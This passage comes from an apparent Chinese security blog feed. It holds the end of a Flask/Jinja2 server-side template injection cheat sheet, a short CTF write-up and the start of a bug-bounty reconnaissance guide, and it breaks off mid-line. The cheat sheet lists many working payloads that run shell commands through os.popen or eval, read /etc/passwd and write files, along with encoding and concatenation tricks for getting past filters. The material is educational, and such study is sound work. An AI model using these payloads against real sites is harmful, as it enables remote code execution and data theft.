class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[59].__init__.__globals__[&#x27;linecache&#x27;][&#x27;os&#x27;].popen(&#x27;ls&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen(&#x27;ls /&#x27;).read()&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#调用communicate()函数</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[128](&#x27;whoami&#x27;,shell=True,stdout=-1).communicate()[0].strip()&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#写文件</span><br><span class="line">写文件的话就直接把上面的构造里的read()换成write()即可，下面举例利用file类将数据写入文件。</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__bases__[0].__subclasses__()[40](&#x27;/tmp&#x27;).write(&#x27;test&#x27;)&#125;&#125;  ----python2的str类型不直接从属于基类，所以payload中含有两个 .__bases__</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;file&#x27;](&#x27;/etc/passwd&#x27;).write(&#x27;123456&#x27;)&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#通用 getshell</span><br><span class="line">原理：找到含有 __builtins__ 的类，利用即可。</span><br><span class="line">&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if c.__name__==&#x27;catch_warnings&#x27; %&#125;&#123;&#123; c.__init__.__globals__[&#x27;__builtins__&#x27;].eval(&quot;__import__(&#x27;os&#x27;).popen(&#x27;whoami&#x27;).read()&quot;) &#125;&#125;&#123;% endif %&#125;&#123;% endfor %&#125;</span><br><span class="line">&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if c.__name__==&#x27;catch_warnings&#x27; %&#125;&#123;&#123; c.__init__.__globals__[&#x27;__builtins__&#x27;].open(&#x27;filename&#x27;, &#x27;r&#x27;).read() &#125;&#125;&#123;% endif %&#125;&#123;% endfor %&#125;</span><br></pre></td></tr></table></figure></div><h4 id="有过滤情况"><a class="markdownIt-Anchor" href="#有过滤情况">#</a> 有过滤情况</h4><h6 id="绕过"><a class="markdownIt-Anchor" href="#绕过">#</a> 绕过 <code>.</code></h6><p>1. 使用中括号 [] 绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;().__class__&#125;&#125; </span><br><span class="line">可替换为：</span><br><span class="line">&#123;&#123;()[&quot;__class__&quot;]&#125;&#125;</span><br><span class="line"></span><br><span class="line">举例：</span><br><span class="line">&#123;&#123;()[&#x27;__class__&#x27;][&#x27;__base__&#x27;][&#x27;__subclasses__&#x27;]()[433][&#x27;__init__&#x27;][&#x27;__globals__&#x27;][&#x27;popen&#x27;](&#x27;whoami&#x27;)[&#x27;read&#x27;]()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>2. 使用 attr () 绕过</p><p>attr () 函数是 Python 内置函数之一，用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象，例如类实例、模块、函数等。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;().__class__&#125;&#125; </span><br><span class="line">可替换为：</span><br><span class="line">&#123;&#123;()[&quot;__class__&quot;]&#125;&#125;</span><br><span class="line"></span><br><span class="line">举例：</span><br><span class="line">&#123;&#123;()[&#x27;__class__&#x27;][&#x27;__base__&#x27;][&#x27;__subclasses__&#x27;]()[433][&#x27;__init__&#x27;][&#x27;__globals__&#x27;][&#x27;popen&#x27;](&#x27;whoami&#x27;)[&#x27;read&#x27;]()&#125;&#125;</span><br></pre></td></tr></table></figure></div><h6 id="绕过单双引号"><a class="markdownIt-Anchor" href="#绕过单双引号">#</a> 绕过单双引号</h6><p>1.request 绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()&#125;&#125;&amp;arg1=open&amp;arg2=/etc/passwd    </span><br><span class="line">#分析：</span><br><span class="line">request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。</span><br><span class="line">若args被过滤了，还可以使用values来接受GET或者POST参数。</span><br><span class="line"></span><br><span class="line">其它例子：</span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()&#125;&#125;</span><br><span class="line">Cookie:arg1=open;arg2=/etc/passwd</span><br><span class="line"></span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()&#125;&#125;</span><br><span class="line">post:arg1=open&amp;arg2=/etc/passwd</span><br></pre></td></tr></table></figure></div><p>2.chr 绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%&#125;&#123;&#123;&#x27;&#x27;.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>注意：使用 GET 请求时，+ 号需要 url 编码，否则会被当作空格处理。</p><h6 id="绕过关键字"><a class="markdownIt-Anchor" href="#绕过关键字">#</a> 绕过关键字</h6><p>1. 使用切片将逆置的关键字顺序输出，进而达到绕过。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&quot;&quot;[&quot;__cla&quot;&quot;ss__&quot;]</span><br><span class="line">&quot;&quot;.__getattribute__(&quot;__cla&quot;&quot;ss__&quot;)</span><br><span class="line">反转</span><br><span class="line">&quot;&quot;[&quot;__ssalc__&quot;][::-1]</span><br><span class="line">&quot;&quot;.__getattribute__(&quot;__ssalc__&quot;[::-1])</span><br></pre></td></tr></table></figure></div><p>2. 利用 &quot;+&quot; 进行字符串拼接，绕过关键字过滤。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;()[&#x27;__cla&#x27;+&#x27;ss__&#x27;].__bases__[0].__subclasses__()[40].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;ev&#x27;+&#x27;al&#x27;](&quot;__im&quot;+&quot;port__(&#x27;o&#x27;+&#x27;s&#x27;).po&quot;&quot;pen(&#x27;whoami&#x27;).read()&quot;)&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>3.join 拼接</p><p>利用 join（）函数绕过关键字过滤</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[40](&quot;fla&quot;.join(&quot;/g&quot;)).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>4. 利用引号绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[40](&quot;/fl&quot;&quot;ag&quot;).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>5. 使用 str 原生函数 replace 替换</p><p>将额外的字符拼接进原本的关键字里面，然后利用 replace 函数将其替换为空。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;().__getattribute__(&#x27;__claAss__&#x27;.replace(&quot;A&quot;,&quot;&quot;)).__bases__[0].__subclasses__()[376].__init__.__globals__[&#x27;popen&#x27;](&#x27;whoami&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>6.ascii 转换</p><p>将每一个字符都转换为 ascii 值后再拼接在一起。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&quot;&#123;0:c&#125;&quot;.format(97)=&#x27;a&#x27;</span><br><span class="line">&quot;&#123;0:c&#125;&#123;1:c&#125;&#123;2:c&#125;&#123;3:c&#125;&#123;4:c&#125;&#123;5:c&#125;&#123;6:c&#125;&#123;7:c&#125;&#123;8:c&#125;&quot;.format(95,95,99,108,97,115,115,95,95)=&#x27;__class__&#x27;</span><br></pre></td></tr></table></figure></div><p>7.16 进制编码绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&quot;__class__&quot;==&quot;\x5f\x5fclass\x5f\x5f&quot;==&quot;\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f&quot;</span><br><span class="line"></span><br><span class="line">例子：</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f&#x27;](&#x27;os&#x27;).popen(&#x27;whoami&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>同理，也可使用八进制编码绕过</p><p>8.base64 编码绕过</p><p>对于 python2，可利用 base64 进行绕过，对于 python3 没有 decode 方法，不能使用该方法进行绕过。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&quot;__class__&quot;==(&quot;X19jbGFzc19f&quot;).decode(&quot;base64&quot;)</span><br><span class="line"></span><br><span class="line">例子：</span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[&#x27;X19idWlsdGluc19f&#x27;.decode(&#x27;base64&#x27;)][&#x27;ZXZhbA==&#x27;.decode(&#x27;base64&#x27;)](&#x27;X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ==&#x27;.decode(&#x27;base64&#x27;))&#125;&#125;</span><br><span class="line">等价于</span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).popen(&quot;ls /&quot;).read()&#x27;)&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>9.unicode 编码绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;%print((((lipsum|attr(&quot;\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f&quot;))|attr(&quot;\u0067\u0065\u0074&quot;)(&quot;os&quot;))|attr(&quot;\u0070\u006f\u0070\u0065\u006e&quot;)(&quot;\u0074\u0061\u0063\u0020\u002f\u0066\u002a&quot;))|attr(&quot;\u0072\u0065\u0061\u0064&quot;)())%&#125;</span><br><span class="line">lipsum.__globals__[&#x27;os&#x27;].popen(&#x27;tac /f*&#x27;).read()</span><br></pre></td></tr></table></figure></div><p>10.Hex 编码绕过</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[&#x27;\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f&#x27;][&#x27;\x65\x76\x61\x6c&#x27;](&#x27;__import__(&quot;os&quot;).popen(&quot;ls /&quot;).read()&#x27;)&#125;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&#123;().__class__.__base__.__subclasses__()[77].__init__.__globals__[&#x27;\x6f\x73&#x27;].popen(&#x27;\x6c\x73\x20\x2f&#x27;).read()&#125;&#125;</span><br><span class="line">等价于</span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).popen(&quot;ls /&quot;).read()&#x27;)&#125;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&#123;().__class__.__base__.__subclasses__()[77].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;ls /&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><h6 id="绕过init"><a class="markdownIt-Anchor" href="#绕过init">#</a> 绕过 init</h6><p>可以用 <code>__enter__</code> 或 <code>__exit__</code> 替代 <code>__init__</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__[&#x27;__builtins__&#x27;][&#x27;open&#x27;](&#x27;/etc/passwd&#x27;).read()&#125;&#125;</span><br><span class="line"> </span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__[&#x27;__builtins__&#x27;][&#x27;open&#x27;](&#x27;/etc/passwd&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure></div><h3 id="ssti攻击"><a class="markdownIt-Anchor" href="#ssti攻击">#</a> SSTI 攻击</h3><h4 id="1ssti-的简单探测"><a class="markdownIt-Anchor" href="#1ssti-的简单探测">#</a> 1.SSTI 的简单探测</h4><p>最常用的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板 ———— 这也被称作 fuzz 测试，例如 <code>$&#123;&#123;<%[%'"&#125;&#125;%\< code></%[%'"&#125;&#125;%\<></code></p><p>如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法，然而 SSTI 漏洞会出现在两个不同的上下文中，并且需要使用各自的检测方法来进一步检测 SSTI 漏洞。</p><h5 id="一-纯文字上下文"><a class="markdownIt-Anchor" href="#一-纯文字上下文">#</a> 一、纯文字上下文</h5><p>有的模板引擎会将模板语句渲染成 HTML，例如 Freemarker</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">render(&#x27;Hello&#x27; + username) --&gt; Hello Apce</span><br></pre></td></tr></table></figure></div><p>因为会渲染成 HTML，所以这还可以导致 XSS 漏洞。但是模板引擎会自动执行数学运算，所以如果我们输入一个运算，例如</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://vulnerable-website.com/?username=$&#123;7*7&#125;</span><br></pre></td></tr></table></figure></div><p>如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞。而且不同的模板引擎的数学运算的语法有些不同，还需要查阅相关资料的。</p><h5 id="二-代码上下文"><a class="markdownIt-Anchor" href="#二-代码上下文">#</a> 二、代码上下文</h5><p>以这样一段代码为例，同样是用来生成邮件的</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">greeting = getQueryParameter(&#x27;greeting&#x27;)</span><br><span class="line">engine.render(&quot;Hello &#123;&#123;&quot;+greeting+&quot;&#125;&#125;&quot;, data)</span><br></pre></td></tr></table></figure></div><p>上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中，但是就像 SQL 注入一样，如果我们提前将双花括号闭合，然后就可以注入自定义的语句了。</p><h4 id="2-确定-web-界面所用的模板引擎"><a class="markdownIt-Anchor" href="#2-确定-web-界面所用的模板引擎">#</a> 2. 确定 Web 界面所用的模板引擎</h4><p>我们该如何判断模板引擎的类型呢？</p><p>简要来说依靠这张图即可：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092214584.webp" alt="img"></p><p>还有一般的做法是触发报错。</p><p>触发报错的方式很多，这里以 Ruby 的 ERB 引擎为例，输入无效表达式 <code>&lt;%foobar%&gt;</code>  触发报错。可以得到如下报销信息</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">(erb):1:in `&lt;main&gt;&#x27;: undefined local variable or method `foobar&#x27; for main:Object (NameError)</span><br><span class="line">from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval&#x27; </span><br><span class="line">from /usr/lib/ruby/2.5.0/erb.rb:876:in `result&#x27; </span><br><span class="line">from -e:4:in `&lt;main&gt;&#x27;</span><br></pre></td></tr></table></figure></div><h4 id="3-构造利用的-payload"><a class="markdownIt-Anchor" href="#3-构造利用的-payload">#</a> 3. 构造利用的 payload</h4><p>根据不同模板编写喽</p><h2 id="后话"><a class="markdownIt-Anchor" href="#后话">#</a> 后话</h2><p>感觉 SSTI 跟 python 沙箱很像啊</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;server-side-template-injection&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#server-side-template-injection&quot;&gt;#&lt;/a&gt; Server-Side Template Injec</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>HackingHub-Hubs-Prison_Hack Wp</title>
    <link href="http://example.com/2024/07/08/HackingHub-Hubs-Prison-Hack-Wp/"/>
    <id>http://example.com/2024/07/08/HackingHub-Hubs-Prison-Hack-Wp/</id>
    <published>2024-07-08T11:44:38.000Z</published>
    <updated>2024-07-09T14:49:10.083Z</updated>
    
    <content type="html"><![CDATA[<h2 id="信息收集靶场"><a class="markdownIt-Anchor" href="#信息收集靶场">#</a> 信息收集靶场</h2><p>记一次信息收集靶场练习的大致思路， 只是跟着大佬的 wp 复现一边，没有试错过程</p><p>靶场：<a class="link" href="https://app.hackinghub.io/hubs/prison-hack">HackingHub - Hubs - Prison Hack <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>puredns 爆破子域名：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt;wget https://gist.githubusercontent.com/jhaddix/86a06c5dc309d08580a018c66354a056/raw/96f4e51d96b2203f19f6381c8c545b278eaa0837/all.txt;puredns bruteforce all.txt $domain -r resolvers.txt | sort -u | tee subs_puredns.txt; rm resolvers.txt; rm all.txt</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248774.png" alt="image-20240708125544903"></p><p><code>stor.ariadne.ctfio.com</code></p><p>爆破目录：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248757.png" alt="image-20240708130628469"></p><p>换大目录递归扫描</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248783.png" alt="image-20240708165457625"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248827.png" alt="image-20240708164019485"></p><p>找到相片</p><p>subfinder 扫一下：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248777.png" alt="image-20240709224437827"></p><p>扫 worklms 目录：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248789.png" alt="image-20240708172628887"></p><p>githack 下载：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092248113.png" alt="image-20240708172559050"></p><p 161edc3dc7a6e67ce71137effc253d49>FLAG</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;信息收集靶场&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#信息收集靶场&quot;&gt;#&lt;/a&gt; 信息收集靶场&lt;/h2&gt;
&lt;p&gt;记一次信息收集靶场练习的大致思路， 只是跟着大佬的 wp 复现一边，没有试错过程&lt;/p&gt;
&lt;p&gt;靶场：&lt;a class</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>Information Gathering</title>
    <link href="http://example.com/2024/07/08/Information-Gathering/"/>
    <id>http://example.com/2024/07/08/Information-Gathering/</id>
    <published>2024-07-08T08:11:39.000Z</published>
    <updated>2024-08-28T06:50:42.375Z</updated>
    
    <content type="html"><![CDATA[<h2 id="information-gathering"><a class="markdownIt-Anchor" href="#information-gathering">#</a> Information Gathering</h2><p><strong>信息收集：</strong></p><p>- 狭义的信息收集指的是收集厂商的资产，比如域名和 ip 等等</p><p>- 广义的信息收集指的是收集厂商相关的各种信息，包括但不限于员工信息，泄露的源码，泄露的账号密码等等</p><p><strong>资产:</strong></p><p>- 狭义的厂商的资产一般指代所属这个厂商的域名和 ip</p><p>- 广义的资产指的是厂商的域名和 ip 以及每个端口上面开的服务的总和，还包括各种 <code>apk</code> ,  <code>exe</code>  文件</p><p>包括属于厂商的 <code>github, gitlab, slack, </code> 谷歌内部组（相当于国外版钉钉），拥有的云上数据等等等等，<strong>在赛博空间属于厂商</strong></p><p><strong>的有价值总和都叫厂商的资产</strong>，但是<strong>资产属于厂商不等于资产在赏金收录范围</strong></p><p><strong>必要性:</strong></p><p>如果一个厂商的赏金范围只有几个有限的主要域名，也应该对子域名进行信息收集，路径和参数</p><p>可能会重用，对子域名进行信息收集然后对范围内域名进行爆破可以扩大该域名的测试面，又或</p><p>者某个不在范围的子域名泄露的账号密码尝试在范围的域名进行登录等等</p><h3 id="part1asn分析"><a class="markdownIt-Anchor" href="#part1asn分析">#</a> <strong>part1：ASN 分析</strong></h3><p>ASN（Autonomous System Number，自治系统号码）是一个用于标识自治系统（Autonomous System, AS）的唯一编号。自治系统是指在单一的技术管理下，通过一组路由器和路由表使用相同的内部路由策略和策略集对外进行路由选择的网络或一组网络。ASN 主要用于互联网路由，为每个自治系统分配一个唯一的号码，使得不同的自治系统之间能够进行路由信息的交换。</p><p>ASN 由互联网号码分配机构（IANA）分配，并通过区域互联网注册管理机构（RIR）进一步分配给本地的互联网服务提供商（ISP）或其他网络运营机构。目前，ASN 有两种格式：16 位的和 32 位的。传统上，ASN 使用 16 位表示，范围是 1 到 65535。由于互联网的快速发展，16 位 ASN 的数量已经不够用，因此引入了 32 位 ASN，范围从 65536 到 4294967295。</p><p>ASN 在互联网协议（IP）网络中起着重要作用，特别是在边界网关协议（BGP）中，BGP 是用于在不同的自治系统之间传递路由信息的协议。每个自治系统通过 ASN 来标识自己，并在 BGP 路由表中进行路由选择。</p><p>301 计网大师兴神告诉我简洁点讲就是：一 “群” 路由的编号</p><p>先从 bgp 网站获取 asn 码</p><p><a class="link" href="https://bgp.he.net/">Hurricane Electric BGP Toolkit (he.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612716.png" alt="image-20240707164955867"></p><p>然后用 <code>asnmap</code>  获取 ip 范围</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612701.png" alt="image-20240707174849692"></p><p>1.<strong> 如何从 ipscope.txt 转变成完整的 ips.txt, 也就是从 ip 范围变成 ip 列表？</strong></p><p><code>cat ipscope.txt | mapcidr | tee ips.txt</code></p><p>2.<strong> 获取 ip 列表的作用是什么？</strong></p><p><strong>爆破</strong>： <code>ips.txt:subs.txt</code></p><p><code>for i in $(cat ips.txt); do ffuf -w subs.txt -u https://$i -H &quot;HOST: FUZZ&quot; -of csv -o $i.csv; done</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612730.png" alt="image-20240707181359812"></p><h3 id="part2反向-whois"><a class="markdownIt-Anchor" href="#part2反向-whois">#</a> <strong>part2：反向 WHOIS</strong></h3><p>反向 WHOIS 是通过注册信息，像组织名或者所有者邮箱，来获取发现目标厂商的关联域的一种方法</p><p>tips：旧的组织名可能会有更多资产</p><p>适用于收录漏洞是大范围的厂商</p><p><a class="link" href="https://tools.whoisxmlapi.com/reverse-whois-search">Domain Research Suite (whoisxmlapi.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612662.png" alt="image-20240707183547715"></p><h3 id="part3certificate-分析"><a class="markdownIt-Anchor" href="#part3certificate-分析">#</a> <strong>part3：Certificate 分析</strong></h3><p>证书：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612786.png" alt="image-20240707184441892"></p><p><a class="link" href="https://crt.sh/">crt.sh | Certificate Search <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407081612760.png" alt="image-20240707184727276"></p><h3 id="part-4-tlds-扫描"><a class="markdownIt-Anchor" href="#part-4-tlds-扫描">#</a> <strong>Part 4 TLDs 扫描</strong></h3><p>TLDs (Top-level Domain)，就是顶级域，拿 <code>www.starbucks.com</code>  举例，.com 就是 TLD，对于 <code>www.starbucks.com.cn</code>  来说，.com.cn 就是 TLD</p><p>当你遇到资产范围写着 *.example.* 的时候，说明厂商业务遍布全球，有时候厂商会明确告诉你区域，但有时候是不告诉你，而不同地区的业务一般都存在差异性</p><p>对原本的 <code>www.example.FUZZ </code> 进行爆破，获取这个厂商更广泛的业务以及某些区域的才有的业务，扩大测试面</p><h3 id="part-5-枚举apex域名"><a class="markdownIt-Anchor" href="#part-5-枚举apex域名">#</a> <strong>Part 5 枚举 Apex 域名</strong></h3><p>- <strong>Apex 域名</strong>，就是根域名，例如 <code>www.tesla.com</code>  里面的 Apex 域名，即为 <code>tesla.com</code></p><h3 id="part-6-shodan"><a class="markdownIt-Anchor" href="#part-6-shodan">#</a> <strong>Part 6 Shodan</strong></h3><p>Shodan 是一个专门用于搜索和分析互联网连接设备的搜索引擎。与传统的搜索引擎不同，Shodan 不索引网页内容，而是扫描和索引公开暴露在互联网上的设备及其相关信息。它被称为 “黑客的搜索引擎”，因为它能发现各种在线设备，包括但不限于：</p><ul><li><strong>Web 服务器</strong>（HTTP、HTTPS）</li><li><strong>数据库服务器</strong>（如 MongoDB、MySQL）</li><li><strong>工业控制系统</strong>（SCADA、ICS）</li><li><strong>物联网（IoT）设备</strong>（智能家居设备、摄像头、路由器）</li><li><strong>VPN 服务器</strong></li><li><strong>网络存储设备（NAS）</strong></li></ul><p><strong>主要功能和用途</strong></p><ol><li><strong>安全研究</strong>：Shodan 是安全研究人员和白帽黑客常用的工具，用于发现未加固或配置不当的设备和服务。</li><li><strong>网络监控</strong>：网络管理员可以使用 Shodan 来监控其网络中公开暴露的设备和服务，确保没有误配置的设备暴露在互联网上。</li><li><strong>威胁情报</strong>：Shodan 提供有关互联网威胁的情报，帮助企业和安全机构了解全球互联网设备的安全状况。</li><li><strong>攻击面评估</strong>：企业可以使用 Shodan 评估其互联网暴露面，确定可能的攻击入口。</li></ol><p><em><strong>快速测试根域名是否值得深度测试</strong></em></p><p>语法：</p><blockquote><p><code>- ssl.cert.subject.cn:*.tesla.com</code></p><p><code>- ssl:.tesla.com</code></p><p><code>- ssl:&quot;Tesla Inc.&quot; </code></p><p><code>- org:&quot;Tesla 